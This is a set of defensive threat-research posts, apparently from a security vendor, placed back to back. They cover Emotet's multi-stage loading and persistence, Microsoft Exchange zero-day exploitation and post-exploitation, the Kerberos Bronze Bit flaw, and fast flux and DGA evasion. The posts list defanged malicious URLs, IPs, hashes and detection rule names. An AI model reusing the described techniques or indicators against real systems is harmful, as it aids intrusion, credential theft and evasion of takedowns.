Once the downloader code receives the second-stage DLL file, it will be saved in the path %USERPROFILE%\Ygyhlqt\Bx5jfmo\ and will be renamed to R43H.dll. According to the detection generated by the ExeInfoPE tool, it shows that this is a Microsoft Visual C++ ver. ~6.0~7.10 executable file.

Figure 16. ExeInfoPE file identification on downloaded DLL file.
Figure 16. ExeInfoPE file identification on downloaded DLL file.

During the third-stage malware execution, a new absolute path will be randomly generated. A call to the MoveFileExW() function will move the file from its original location to this new one. The absolute path format is as follows:

  • %SYSTEMROOT%\system32\<random_folder_name>\<random_filename>.<random_ext>

Next, as shown in Figure 17, a call to the CreateProcessW() function sets the value of the lpCommandLine parameter, which includes the absolute path of the recently moved DLL file, and the aforementioned entrypoint function Control-RunDLL.

Figure 17. Execution of the second DLL file.
Figure 17. Execution of the second DLL file.

The actions performed by the second rundll32.exe execution will be described in the Fourth-Stage Malware section.

Locate and Load Resource Encrypted Data

The Emotet malware performs several actions, and one of those is the use of Resource Win32 API functions with the objective of loading binary data from the executable resource section, decrypting it and dropping a newly crafted malware.

First, at offset 0x10002119, a call to the VirtualAlloc() function is made. This will allocate 0x1B000 (110592d) bytes, a MEM_COMMIT allocation type and memory protection option as PAGE_EXECUTE_READWRITE.

Figure 18. VirtualAlloc() and byte-copying (call 100045c0) function.
Figure 18. VirtualAlloc() and byte-copying (call 100045c0) function.

At offset 0x10002128, the function call 100045C0 copies the bytes from the resource section into the newly generated memory allocation from the previous step (see Figure 18). The following picture (Figure 19) shows a comparison between the byte contents of the resources taken directly from the Resource Hacker tool and the contents in memory taken directly from the running process.

Figure 19. Encrypted binary resources data displayed in the Resource Hacker tool.
Figure 19. Encrypted binary resources data displayed in the Resource Hacker tool.

During the execution of subsequent instructions, a call to the 0x10001D9A function is made. This function has a loop located at offset 0x10001E4D and performs several operations. One of these operations is a 1-byte XOR instruction (xor byte ptr [esi+ecx], al) located at offset 0x10001E4D. Its purpose is to decrypt a total of 110591 bytes of the executable’s resource data where the PE binary data is stored. The final result is an in-memory reconstructed executable file. In Figure 19, the encrypted and decrypted data in the process’s memory can be seen.

Figure 19. Encrypted data in PE and decryption of data in memory.
Figure 19. Encrypted data in PE and decryption of data in memory.

At offset 0x10002167, an indirect function pointer call is made to the address pointed to by the EAX register, which is the entrypoint of the Control_RunDLL function of the in-memory (dropped) executable file. Figure 20 shows this in a graphical manner for reference.

Figure 20. Indirect call – transferring control to in-memory data.
Figure 20. Indirect call – transferring control to in-memory data.

Once the call EAX instruction is executed, the execution control is transferred to the new executable file.

Persistency Mechanism

The Emotet malware installs a new service by calling the CreateServiceW() function, which starts the copy of the malware in an automated manner by the operating system. Figure 21 shows this new service already installed.

Figure 21. Installation of a new Windows service.
Figure 21. Installation of a new Windows service.

The service name is generated randomly and the below list contains different names used throughout several test runs.

  • Provides Disk Defragmentation capabilities.
  • Windows Media Center Service for TV and FM broadcast reception.
  • Processes application compatibility cache requests for applications as they are launched.
  • Starts and stops recording of TV programs within Windows Media Center.
  • Transfers files in the background using idle network bandwidth. If the service is disabled, then any applications that depend on BITS, such as Windows Update or MSN Explorer, will be unable to automatically download programs and other information.

Fourth-Stage Malware – DLL Analysis

(Sha256:bd1e56637bd0fe213c2c58d6bd4e6e3693416ec2f90ea29f0c68a0b91815d91a)

At this stage, the final payload is preparing the environment to submit information to the C2 server. To do so, it executes function calls to retrieve the required data to finally perform the HTTP request.

The following steps assume a base address of 0x2E1000 and describe the details and sequences followed by the Emotet malware until the delivery of the payload.

Figure 22. Function calls that collect and prepare data for exfiltration.
Figure 22. Function calls that collect and prepare data for exfiltration.

Fifth-Stage Malware – C2 Traffic

As can be seen in the function call list, the HttpSendRequestW() API function is used to send the data to the server. This function allows the sender to exceed the amount of data that is being sent normally by HTTP clients.

Figure 23. HTTP data in memory before being sent to the C2 server.
Figure 23. HTTP data in memory before being sent to the C2 server.

Figure 24 shows the data after being sent and captured by Wireshark.

Figure 24. Data being sent to the C2 server captured by Wireshark.
Figure 24. Data being sent to the C2 server captured by Wireshark.

Evasion Technology

  1. Uses multiple download links to download the first-stage loader. As long as one download link is not blocked or captured by a security product, the loader download will be successful.
  2. Uses multiple C2 server IP addresses to communicate with C2 servers. As long as one IP address is not blocked, the communication will be successful.
  3. The C2 communication uses standard HTTP with sensitive information encrypted with custom algorithms. From the perspective of security mitigations, it is difficult to differentiate this strain of C2 from benign traffic.

Conclusion

Emotet was a potent adversary before coordinated law enforcement action shut down its infrastructure in late January 2021. The attack chain detailed above is elaborate and is designed to evade security detections. A single security appliance is not equipped to prevent an Emotet attack. Only a combination of security solutions – firewalls, sandboxes, endpoints and software to integrate all these components can help prevent an Emotet attack.

At the time of this writing, the samples listed in the IOCs section below were not publicly available. However, we have created detections and coverage against their behavior and communication.

Palo Alto Networks customers are protected from this kind of attack by the following:

  1. Next-Generation Firewalls with Threat Prevention signatures 21201, 21185 and 21167 identify HTTP C2 requests attempting to download the new payload and post sensitive information.
  2. WildFire, an NGFW security subscription, and Cortex XDR identify and block Emotet and its droppers.

Indicators of Compromise

Samples

209a975429304f771ef8a619553ffd9b8fc525a254157cbba47f8e64ec30df79

2a8dcfc8f1262e1c6b5f65c52cdccdbcd40ff6218f4f25f82bd3eb025593dbc0

2cb81a1a59df4a4fd222fbcb946db3d653185c2e79cf4d3365b430b1988d485f

36df660c8e323435d2bc7a5516adcadfbd0b220279f634725e407da9f2b9d4f5

3788c8a783fbbd61fa60d41b78568c095a8587db728a61bff67c3ffebfad82a4

704759a244e3f27481f6ad225a0e1c30ae46e411e01612d68ca76fe2fd8cee54

7a18e87591637a8e962386b9c72aed584037a953ce7fe5ae51edba7a0ca57c1a

96a1fea9853e6f77d4449da325dfdb1545b905bdb7ba227d24e6a1a5f8cb3bd4

a9668efdb68bf251dae8623cb4f3dc8b9b7f42d77927d287633af94a72e9d1dc

fc3c1ce6491bca2b028ae8806ca84d4b9dcb577fb2551aa871ca23eca19b10f5

Droppers

0a0bf0cab20ec7fb530738c4e08f8cd5062ea44c5da3d8a3e6ce0768286d4c51

2a0a1e12a8a948083abe2a0dcbf9128b8ec7f711251f399e730af6645e86d5c8

3b3a9517b61d2af8758e60d067c08edd397ad76b25efe1cbd393229088567002

3bbda08f5e15c5cb4472c6e610f2063eb68f54c0234a2197bc4633f4344ab27f

3e2fd3a5d790a0d4efe1100af08e3e2011f26416154ec11f1315db2ca6ca71bd

4eb1928c08d16a9407dbf89ad1279886379a0415bdd7760a3b2d0697f7d287c6

95bc30b35aa2d2baa80b50e970707197a26bd19d7772cbf65ff3d0300fe8e789

97c395e1bd0c35e9b8e6f9d97b470abdfdacec25e0e4e3b987e3813fb902de9f

bbb9c1b98ec307a5e84095cf491f7475964a698c90b48a9d43490a05b6ba0a79

bd1e56637bd0fe213c2c58d6bd4e6e3693416ec2f90ea29f0c68a0b91815d91a

URLs

http://abrillofurniture[.]com/bph-nclex-wygq4/a7nBfhs/

http://allcannabismeds[.]com/unraid-map/ZZm6/

http://ezi-pos[.]com/categoryl/x/

http://giannaspsychicstudio[.]com/cgi-bin/PP/

http://ienglishabc[.]com/cow/JH/

https://etkindedektiflik[.]com/pcie-speed/U/

https://vstsample[.]com/wp-includes/7eXeI/

IPs

5.2.136[.]90

37.46.129[.]215

70.32.89[.]105

110.172.180[.]180

132.248.38[.]158

138.197.99[.]250

152.170.79[.]100

157.245.145[.]87

161.49.84[.]2

190.55.186[.]229

190.247.139[.]101

203.157.152[.]9

Threat Assessment: Active Exploitation of Four Zero-Day Vulnerabilities in Microsoft Exchange Server

Executive Summary

On Mar. 2, 2021, Volexity reported in-the-wild-exploitation of four Microsoft Exchange Server vulnerabilities: CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065.

As a result of these vulnerabilities being exploited, adversaries can access Microsoft Exchange Servers and allow installation of additional tools to facilitate long-term access into victims' environments. There has also been a report of multiple threat actors leveraging these zero-day vulnerabilities, meaning post-exploitation activity may vary depending on the purpose of the different threat actors.

These vulnerabilities affect the following Microsoft Exchange Server versions:

  • Microsoft Exchange 2013.
  • Microsoft Exchange 2016.
  • Microsoft Exchange 2019.

Microsoft has released an emergency out-of-band security update to patch these vulnerabilities. We strongly advise immediately updating all Microsoft Exchange Servers to the latest available patched versions released by Microsoft.

Due to the surge of this malicious activity, we’ve created this threat assessment for overall threat awareness. Full visualization of the techniques observed and their relevant courses of action can be viewed in the Unit 42 ATOM Viewer.

If you think you may have been impacted, please email crypsis-investigations@paloaltonetworks.com or call 855.875.4631 to get in touch with the Crypsis Incident Response team.

Activity Overview: Exploits of Microsoft Exchange Server Vulnerabilities

There have been reports of activity from several threat actors exploiting four zero-day vulnerabilities affecting Microsoft Exchange Servers. When these vulnerabilities are chained together, threat actors are able to exploit and gain access to Microsoft Exchange servers.

For this attack to be successful, the adversary would first need to identify an on-premises Microsoft Exchange Server that is able to receive untrusted connections from an external source on port 443. If an adversary is successful in securing a connection, they can then exploit CVE-2021-26855 to authenticate themselves as a Microsoft Exchange server. This can be followed by the exploitation of CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065 post-authentication, allowing the adversary to gain remote access.

If access is achieved, the exploited vulnerabilities will allow threat actors to execute commands remotely, which can include uploading a China Chopper webshell to establish persistence in the compromised system. The webshell would then allow the adversary to steal data and execute additional malicious actions, such as downloading remote files or network service scanning.

When the webshell is deployed, post-exploitation activity typically occurs in the system, most commonly the use of Procdump to dump Local Security Authority Subsystem Service (LSASS) process memory to obtain credentials. There have also been instances in which threat actors downloaded additional tools, such as Nishang and Powercat, to support their actions. Following the extraction of credentials and data from the compromised system, threat actors often use compression utilities such as 7zip or Winrar to compress and stage the stolen data for exfiltration. It’s worth noting that since different groups have leveraged these vulnerabilities, post-exploitation activities may vary depending on the actor behind the attack.

Microsoft Exchange Zero-Day Attack Chain - Adversary scans for vulnerable Exchange Servers; Adversary sends HTTP requests and authenticates an exchange server using CVE-2021-26855; Uploads webshell and executes malicious commands using three other Microsoft Exchange Server vulnerabilities discussed here. Post-exploitation activity: Uses ProcDump to dump LSASS process memory to obtain credentials; Executes reconnaissance-related commands; Downloads confidential information and additional tools; Compresses stolen data into ZIP for exfiltration.
Figure 1. Threat actors can chain together four zero-day vulnerabilities to gain unauthorized access to Microsoft Exchange Servers.

Microsoft has shared ways to determine whether your system has been compromised by this activity. There is also an emergency out-of-band security update to patch these vulnerabilities.

Courses of Action

This section documents the relevant tactics, techniques and procedures (TTPs) observed being used by adversaries leveraging CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065, and maps them directly to Palo Alto Networks product(s) and service(s) which can protect against them. It also further instructs customers on how to ensure their devices are configured correctly.

Product / Service Course of Action
Initial Access, Persistence, Command and Control, Exfiltration
Exploit Public-Facing Application [T1190], Web Shell [T1505.003], Web Protocols [T1071.001], Ingress Tool Transfer [T1105], Exfiltration Over C2 Channel [T1041], Domain Account [T1136.002]
NGFW Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone
Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist
Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists
Ensure 'SSL Forward Proxy Policy' for traffic destined to the internet is configured
Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS
Ensure that the Certificate used for Decryption is Trusted
Set up File Blocking
Ensure that User-ID is only enabled for internal trusted interfaces
Ensure that 'Include/Exclude Networks' is used if User-ID is enabled
Ensure that the User-ID Agent has minimal permissions if User-ID is enabled
Ensure that the User-ID service account does not have interactive logon rights
Ensure remote access capabilities for the User-ID service account are forbidden.
Define at least one 'Include Network'.
Threat Prevention Ensure a Vulnerability Protection Profile is set to block attacks against critical and high vulnerabilities, and set to default on medium, low and informational vulnerabilities
Ensure a secure Vulnerability Protection Profile is applied to all security rules allowing traffic
Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories and threats
Ensure DNS sinkholing is configured on all anti-spyware profiles in use
Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use
Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the internet
Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3'
Ensure a secure antivirus profile is applied to all relevant security policies
DNS Security Enable DNS Security in anti-spyware profile
URL Filtering Ensure that PAN-DB URL Filtering is used
Ensure that URL Filtering uses the action of ‘block’ or ‘override’ on the <enterprise approved value> URL categories
Ensure that access to every URL is logged
Ensure all HTTP Header Logging options are enabled
Ensure secure URL filtering is enabled for all security policies allowing traffic to the internet
WildFire Ensure that WildFire file size upload limits are maximized
Ensure forwarding is enabled for all applications and file types in WildFire file blocking profiles
Ensure a WildFire Analysis profile is enabled for all security policies
Ensure forwarding of decrypted content to WildFire is enabled
Ensure all WildFire session information settings are enabled
Ensure alerts are enabled for malicious files detected by WildFire
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
Cortex XSOAR Deploy XSOAR Playbook “HAFNIUM - Exchange 0-day exploits” (Rapid Breach Response pack)
Deploy XSOAR Playbook Cortex XDR - Isolate Endpoint
Deploy XSOAR Playbook - Block IP
Deploy XSOAR Playbook - Block URL
Deploy XSOAR Playbook - Hunting and Threat Detection Playbook
Deploy XSOAR Playbook - PAN-OS Query Logs for Indicators
Deploy XSOAR Playbook - Access Investigation Playbook
Deploy XSOAR Playbook - Block Account Generic
Execution, Credential Access, Collection, Lateral Movement
Windows Command Shell [T1059.003], LSASS Memory [T1003.001], Archive via Utility [T1560.001], Web Protocols [T1070.001], Exploit Public-Facing Application [T1190], Remote System Discovery [T1018], System Information Discovery[T1082], System Network Configuration Discovery [T1016], System Service Discovery [T1007], Permission Groups Discovery [T1069], OS Credential Dumping [T1003], Remote Services [T1021], Account Discovery [T1087], Windows Remote Management [T1021.006], Windows Remote Management [T1047], Scripting [T1064], Powershell [T1059.001]
Cortex XDR Enable Anti-Exploit Protection
Enable Anti-Malware Protection
Suspicious Process Creation
Look for the following BIOCs alerts to detect activity*:
Cortex XDR Analytics BIOC -Uncommon net group execution
Cortex XDR Analytics - Multiple Discovery Commands
Cortex XDR BIOC -Exchange process writing aspx files
Cortex XDR Agent - Behavioral Threat Detected
Cortex XDR Analytics BIOC - Uncommon remote service start via sc.exe
Cortex XDR Analytics BIOC - Rare SSH Session
Cortex XDR Analytics BIOC - Uncommon ARP cache listing via arp.exe
Cortex XDR Analytics BIOC - Uncommon user management via net.exe
Cortex XDR Analytics BIOC - WmiPrvSe.exe Rare Child Command Line
Cortex XDR Analytics BIOC - Script Connecting to Rare External Host
Cortex XDR BIOC - Remote process execution using WMI
Cortex XDR BIOC - 64-bit PowerShell spawning a 32-bit PowerShell
Cortex XDR BIOC - Suspicious PowerShell Command Line
Cortex XDR BIOC - Dumping Registry hives with passwords

Table 1. Courses of Action for observed techniques used by multiple threat actors leveraging zero-day Microsoft Exchange Server vulnerabilities.
†These capabilities are part of the NGFW security subscriptions service.
* These analytic detectors will trigger automatically for Cortex XDR Pro customers.

Conclusion

Due to the alarming activity of threat actors exploiting these zero-day vulnerabilities against vulnerable Microsoft Exchange Servers, we strongly advise immediately updating all Microsoft Exchange Servers to the latest available patched versions released by Microsoft.

As of the time of writing, based on signatures and indicators that have been observed, Palo Alto Networks customers are protected across our product ecosystem, with specific protections deployed in the following products and subscriptions:

It is imperative for customers to employ best practices in order to ensure Palo Alto Networks products are configured in a manner best suited for your protection.

Additional Resources

 

Threat Brief: Kerberos KDC Security Feature Bypass Vulnerability (CVE-2020-17049 AKA Bronze Bit)

Executive Summary

A recent vulnerability in the Kerberos authentication protocol, CVE-2020-17049 (dubbed Bronze Bit), has been disclosed by Microsoft. The vulnerability is in the way that the Key Distribution Center (KDC) handles service tickets and validates whether delegation is allowed.

In the attack, as detailed in the Palo Alto Networks Security Operations blog, “Protecting Against the Bronze Bit Vulnerability with Cortex XDR,” the attacker tampers with the Kerberos service ticket, which allows the attacker to authenticate to the target as any user, including sensitive accounts and members of the “Protected Users” group.

Mitigation Actions for CVE-2020-17049

The vulnerability was patched by Microsoft, and the patch will be gradually deployed with upcoming Windows updates. Microsoft aims to enforce using the patch only on or after May 11, 2021.

Conclusion

Palo Alto Network customers running Cortex XDR version 7.3 with the latest content update are protected from “Pass-the-Ticket” attacks using the standard Windows API. Customers running Cortex XDR Pro with analytics enabled will get alerted on related suspicious activities and specifically on a delegation from or to a protected user.

Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.

Additional Resources

Fast Flux 101: How Cybercriminals Improve the Resilience of Their Infrastructure to Evade Detection and Law Enforcement Takedowns

Executive Summary

Fast flux is a technique used by cybercriminals to increase their infrastructure's resilience by making law enforcement takedown of their servers and denylisting of their IP addresses harder. It is critical for these cybercriminals to maintain their networks' uptime to avoid losses to their revenue streams, including phishing and scam campaigns, botnet rental and illegal gambling operations.

The motivation for cybercriminals to build fast flux networks is similar to that of benign service providers, who build redundancy in their systems to ensure uptime, for example, by utilizing Round Robin in the Domain Name System (RRDNS) or Content Delivery Networks (CDNs). The main difference is that fast flux networks are used to enable illegal and malicious activities. Therefore, operators need to rely on peculiar techniques such as frequently changing their IP addresses and using botnets or bulletproof hosting (hosting providers who tend not to respond to takedown requests). A fast flux network is "fast" because, using DNS, it quickly rotates through many bots, using each one for only a short time to make IP-based denylisting and takedown efforts difficult.

In this blog, we provide a fictional scenario of a cat-and-mouse game between cybercriminals and law enforcement. We illustrate how cybercriminals use single fast flux networks and more advanced techniques such as double flux (when the domain name resolution becomes part of the fast flux network) and Domain Generation Algorithms (DGAs) to hamper domain denylisting and takedown efforts.

Additionally, we cover three case studies that show the wide range of malicious activities that fast fluxing can be used for. We observe scammers using fast flux domains to operate social engineering pages in many different languages, cybercriminals infecting machines with Smoke Loader malware and using fast fluxing for their command and control (C2) domains and finally, we show how fast flux domains are used to operate illicit adult and gambling sites.

Palo Alto Networks provides protection against fast flux and DGA domains leveraging our classifiers in multiple Palo Alto Networks Next-Generation Firewall security subscriptions, including URL Filtering and DNS Security.

Fast Flux Fictional Scenario

Fast flux networks can be used to support a wide variety of criminal endeavors, such as phishing, scams, malware distribution and botnet operations. The term "fast flux" originates from April Lorenzen, who observed early use of this technique. To explain how fast flux works and to provide background, we will start with a fictitious example of a phishing operator, Mallory. Mallory would like to harvest user credentials that he can later sell on various illicit underground markets.

  • Mallory: The villain involved in phishing.
  • Bart: Mallory’s friend who compromises machines and builds botnets.
  • Alice: Unsuspecting customer of Rainbow Bank.
  • Emilia: The protagonist and the leader of a law enforcement team tasked with stopping the phishing attacks launched lately against Rainbow Bank’s customers.

Before his venture into fast fluxing, Mallory learned that the domain name system translates domain names that are easy to remember for humans (e.g., paloaltonetworks.com) to IP addresses (e.g., 34.107.151.202) understood by machines. These IP addresses are what machines use on the Internet to find each other and to be able to communicate.

Mallory started off by creating a website mimicking a known bank, rainbowbank[.]com. He set up a fake bank website called ralnbowbank[.]com on a rented host with IP address 10.123.34[.]55.

Mallory chose the typosquatting domain ralnbowbank[.]com as it looks very similar to the bank’s real domain name. In general, typosquatting domain names (ralnbowbank[.]com) are misspelled variants of target domain names (rainbowbank[.]com), registered to profit from users’ typing mistakes or deceive users into believing that they are the correct target domain. Our blog on cybersquatting details the dangers of such squatting domains and how Palo Alto Networks protects its customers against them.

Mallory paid his friend Bart to send out carefully crafted spam emails to Rainbow Bank’s customers. These emails notified the bank’s customers that their account credentials need to be validated by clicking on the email link. The link in the emails redirected users to the phishing page hosted on Mallory’s server. Thus, Mallory was able to start collecting credentials. Fortunately, his site was reported, and law enforcement agent Emilia quickly reacted to take down the server hosting Mallory’s website.

But Mallory had seen how lucrative phishing could be. He realized that next time, he just needed to make sure Emilia couldn’t take down his website so easily. When setting up ralnbowbank[.]com, Mallory learned how he could set the A record for his phishing domain, which holds the IP address of the server he uses.

This shows an example of how a cybercriminal could set the A record for a phishing domain. The example shows a fictional domain name, time to live, type of record and the record itself.

Mallory also heard about fast flux networks on his favorite forum, hack-a-rainbow[.]com, and he wanted to give it a try. He read that the most important part of the technique was for him to get a lot of compromised machines, so he can rapidly switch the DNS records.

First, Mallory wrote a script that can automatically update the hosts where the DNS records of ralnbowbank[.]com are pointed. Below is an example of how the IP addresses configured by Mallory on the DNS server might have looked at the start of his phishing campaign.

A fast flux network requires rapidly switching DNS records. The image shows an example of how such an effort might look at the start of a phishing campaign, showing a sample list including domain name, TTL, type of record and the record itself.

His script frequently updated the DNS records to avoid detection, as shown in the example below. Note that the Time-To-Live (TTL) value was set to a small number to ensure earlier DNS responses were not cached for long.

An attacker setting up a fast flux network can write a script that frequently updates DNS records to avoid detection, as shown in the example here. Note that the Time-To-Live value is set to a small number to ensure earlier DNS responses are not cached for long.

Figure 1 depicts how the fast flux architecture Mallory designed looked. Steps 1 and 2 show the DNS resolution part controlled by Mallory. Furthermore, Mallory knew that Bart uses a botnet to send out spam emails, so he asked him if he could spare a few thousand bots, offering to rent them. Bart thought, Why not? He rented out these bots to some of his other friends sometimes, too. Bart agreed for a few hundred dollars to allow Mallory to install a proxy script on these bots. The installed proxy script relays requests between the bots and Mallory’s main server, which he likes to call the Mothership. Steps 3-6 on Figure 1 show how the HTTP requests are proxied through the botnet. Based on the IP address returned in the DNS response, the bot used for proxying changed frequently.

This shows the design of a fast flux architecture. Steps include: 1) DNS request for domain name from a victim computer to an attacker's server; 2) DNS response from attacker's server to victim computer; 3) HTTP request for domain name from victim computer to attacker's botnet; 4) Proxied HTTP request from botnet to attacker's mothership server; 5) Phishing webpage from mothership server to attacker's botnet; 6) Proxied phishing webpage from attacker's botnet to victim computer
Figure 1. Mallory’s fast flux architecture.

Using a fast flux network was a great success for Mallory, and it was much harder for Emilia and her team to clean up his campaign this time. Next, we will discuss further hurdles Mallory must overcome to run his malicious campaign successfully and how he can leverage more advanced architectures to make his phishing campaign even more resilient to takedowns and denylists.

Advanced Techniques

This section discusses three techniques and tactics Mallory and Bart can leverage to improve their infrastructure further.

Double Flux

Emilia realized that it became untenable for her team to shut down all the hosting servers in Mallory’s fast flux network. Luckily, Emilia had an idea. If the team cannot go after the hosts, then they should take down the DNS server that provides DNS resolution for Mallory. After Emilia successfully curbed Mallory’s attack a second time, Mallory thought, Let me apply a quick fix and move the DNS resolution itself to a fast flux network.

To understand how Mallory’s new architecture worked, let us first consider how hierarchical DNS resolution looks using Figure 2. When Alice’s computer queries ralnbowbank[.]com, it first needs to query the DNS root servers to find the .com Top-Level Domain (TLD) name server, which knows where Mallory’s name server is. Second, it queries the .com TLD’s name server to reach Mallory’s name server, which can finally return the IP address for ralnbowbank[.]com.

Example of how DNS resolution works: 1) Request for IP address for domain name from user's computer to a root name server; 2) Response: I do not know but go ask the .com name server at [IP address]; 3) Request for IP address for domain name from user's computer to .com TLD's name server; 4) Response: I do not know but go ask Mallory's name server at [IP address]; 5) Request for IP address for domain name from user's computer to Mallory's name server; 6) Response: The IP address is [RESPONSE]
Figure 2. Example of how DNS resolution works.
Mallory, armed with the understanding of how DNS works, set up a fast flux network to replace his previous name server. This setup is called a double flux network, as shown in Figure 3. He was also able to start rapidly changing the IP address of ns1.ralnbowbank[.]com and ns2.ralnbowbank[.]com, the name servers of ralnbowbank[.]com.

Emilia’s team was in trouble again. It seemed like their approach of taking down hosts did not work anymore. Similarly, IP denylists became ineffective against Mallory’s double flux network. What did Emilia think of next?

An example of a double flux architecture. 1) DNS request for domain name's server sent from victim computer to .com TLD's name server; 2) Response from .com TLD's name server to victim computer; 3) DNS request for domain name sent from victim computer to botnet used for name server's fast flux; 4) proxied DNS request sent to attacker's mothership server; 5) DNS response sent from mothership server to botnet used for name server's fast flux; 6) DNS response from botnet to victim computer; 7) HTTP request for domain name from victim computer to botnet used for phishing domain name's fast flux; 8) proxied HTTP request from phishing domain name's botnet to attacker's mothership server; 9) phishing webpage sent from attacker's mothership server to botnet used for domain name's fast flux; 10) proxied phishing webpage sent from botnet to victim's computer
Figure 3. Mallory’s double flux architecture.
The Domain Wars

Emilia was only left with one option. She had to go after the domain name itself, ralnbowbank[.]com. Emilia had a few options to consider. She could file a complaint with the operator of the .com TLD (TLD operators are called registries) managing the name server (NS) records of ralnbowbank[.]com or with the reseller (registrar) who sold the domain name to Mallory – either complaint could ask to have the malicious domain removed. It would also be possible to use the Uniform Domain Name Dispute Resolution Policy (referred to as UDRP) or Uniform Rapid Suspension (URS). However, these processes are significantly slower compared to a responsive and responsible registry or registrar.

The domain wars started when Emilia had ralnbowbank[.]com taken down with the registrar Penny Domains. Mallory, now a seasoned cybercriminal, was quick to register new domains, each used for a short period of time. Mallory’s job was made easier by all the new TLDs (e.g., .xyz), where he was able to acquire domains for cheap and without identity verification. Meanwhile, Emilia’s team also gained the expertise to find Mallory’s domains faster and had better processes in place to have these domains removed. Still, Emilia’s team fell behind and could not keep up with Mallory.

Finally, Emilia caught Mallory using detective work. Mallory always communicated with Bart on the same forum, where his username was similar to his social media username. Using this and some other clues derived from Mallory’s operation, Emilia’s team identified who Mallory really was, thus ending his phishing operations for good.

Domain Generation Algorithms

Unfortunately, Mallory was not the only perpetrator of malicious activity who used Bart’s botnet. After Mallory was prosecuted, Bart used his botnet to conduct a revenge Distributed Denial of Service (DDOS) attack against Emilia’s department. Further, Bart had many friends who used his botnet for different malicious activities such as scams, malware distribution, distributions of potentially unwanted programs (PUPs), illegal gambling operations and phishing.

Next, Emilia’s team went after Bart’s botnet. Figure 4 provides an overview of Bart’s botnet infrastructure. Bart was not picky when it came to compromising machines for his botnet, and he had anything from weaker personal computers to powerful servers under his control. On each bot, he installed malware that was able to ask his command and control (C2) servers for further code to run. When a bot wanted to communicate with the C2 server, the malware first tried to resolve the domain bartrules247[.]net to get the C2’s IP address.

Bart's botnet infrastructure: 1) DNS request for attacker's C2 from botnet to DNS; 2) Reponse from DNS to botnet including IP address; 3) Request for instructions from botnet to C2; 4) download keylogger instruction from C2 to botnet
Figure 4. Bart’s botnet infrastructure.

When Emilia reverse engineered Bart’s code (which she found on a compromised machine), she learned that it used the domain name bartrules247[.]net. When her team took down Bart’s domain name, the botnet went offline.

To counter Emilia’s effort, Bart devised a tricky strategy. He hid a piece of code in his malware codebase that generated a different set of thousand domain names every day. Bart’s bot tried to access all of these domains, and if even one of them was registered by Bart, the communication succeeded. Bart’s new approach made it impossible for Emilia to take down his botnet, as there would have been millions of potential domain names Emilia would have needed to take control of over time.

In the end, Bart was caught just like Mallory, thanks to Emilia’s and her team’s hard work. The team discovered where Bart lived because Mallory had sent him a birthday present the previous year. While Bart and Mallory's operational mistakes might seem like rookie blunders, they represent typical ways for criminals to get caught.

The example scenario presented in this blog is simplified to showcase some of the ingenious ways cybercriminals try to harden their infrastructure against law enforcement and hide from security researchers.

Detecting Fast Flux and DGA Domains

In our example, we have seen how challenging it was for Emilia's team to take down fast flux networks. Palo Alto Networks Next-Generation Firewall security subscriptions URL Filtering and DNS Security include an automated classifier to detect fast flux domains and protect users.

Our classifier builds on two distinctive features of these domain names. First, fast flux operators often rely on various compromised machines to serve as their proxy hosts. Second, fast flux domains frequently change the compromised host they point to. Based on these observations, we can devise three types of features. First, IP diversity-based features rely on indicators such as the total number of IPs used, the number of different geolocation, the number of ISPs used, the number of ASNs and the type of IP address (mobile, residential, data center, etc.). Second, we also look at these features' entropy to capture how evenly they are distributed across these dimensions. Third, fast flux operators might quickly ramp up the number of IPs a domain resolves to when they start their campaigns. Thus, we can protect against this approach by using features that calculate the change in the number of IPs used and their diversity.

Between December 2020 and January 2021, our classifier detected 2,679 fast flux domains, finding on average around 300 domains every week. We regularly identify hundreds of fast flux domains on the same day with similar name patterns.

Additionally, we protect users from DGA domains leveraging another detector. Traditional malicious domain detection and blocking methods either pre-build a denylist or cannot achieve realtime defense. Unfortunately, the disposable nature and virtually infinite size of DGA domains make these methods insufficient for DGA protection.

To stop new DGA domains when they are first seen, we developed a novel system that is able to detect DGA domains at resolution time. To achieve this, our firewalls intercept and inspect every DNS query. The DNS query is then simultaneously sent to DNS resolvers and our DGA detector in the cloud. Our detector inspects every single DNS query individually and returns a verdict to our firewalls before the corresponding DNS response is returned to users. If the queried domain is detected as DGA, our firewalls can block the DNS response or instead return a pre-specified DNS response like the IP addresses of DNS sinkholes. The core of our DGA detector is a machine learning (ML) model built upon a list of domain characteristics, such as the randomness of the root domain name (i.e., “foo” for “foo.com”). The output of the ML model not only contains a verdict denoting whether the domain is DGA, but also provides a malware family if the domain is indeed DGA. A full list of our DNS Security Analytics is also available.

Real-World Fast Flux Case Studies

Case Study: Social Engineering Campaign

We found an elaborate social engineering campaign hosted on heygamersnort[.]at leveraging fast fluxing to avoid detection. These cybercriminals lure victims by promising them a high payout in a short time period. These types of campaigns can be leveraged both for phishing and scamming users to pay cybercriminals.

The cybercriminals advertised their campaign in several ways. They sent out spam emails with the subject “Earn 15.000 Euro every Month'' and the body containing URL hXXp[:]//heygamersnort[.]at?gcGDRAewqASzXFDXcGCHjBJnhBGvFCCDRXTCyVBunINHBYGTFCRx (spam email source). They also set up websites, as shown in Figure 5, with the same content as the spam email.

This screenshot shows an example of attackers setting up websites with the same content as a spam email.
Figure 5. Screenshot of hXXp[:]//latestforexsoftware.blogspot[.]com/2020/12/earn-15000-euro-every-month.html.
What distinguishes this campaign from others is that the cybercriminals set up relatively high-quality websites in many different languages (including Dutch, French, German, Italian, Danish, Czech and English), as shown in Figure 6. We observed the domain heygamersnort[.]at resolving to over 200 IP addresses in less than two months, where these IP addresses are located all around the globe (mainly Eastern Europe, the Middle East and Central and South America) at different ISPs.

This is an example of a relatively high-quality website set up by the domain heygamersnort[.]at, this one in English
Figure 6.a. heygamersnort[.]at campaign in English (screenshot source urlscan.io and Joe Sandbox).
This is an example of a relatively high-quality website set up by the domain heygamersnort[.]at, this one in Italian.
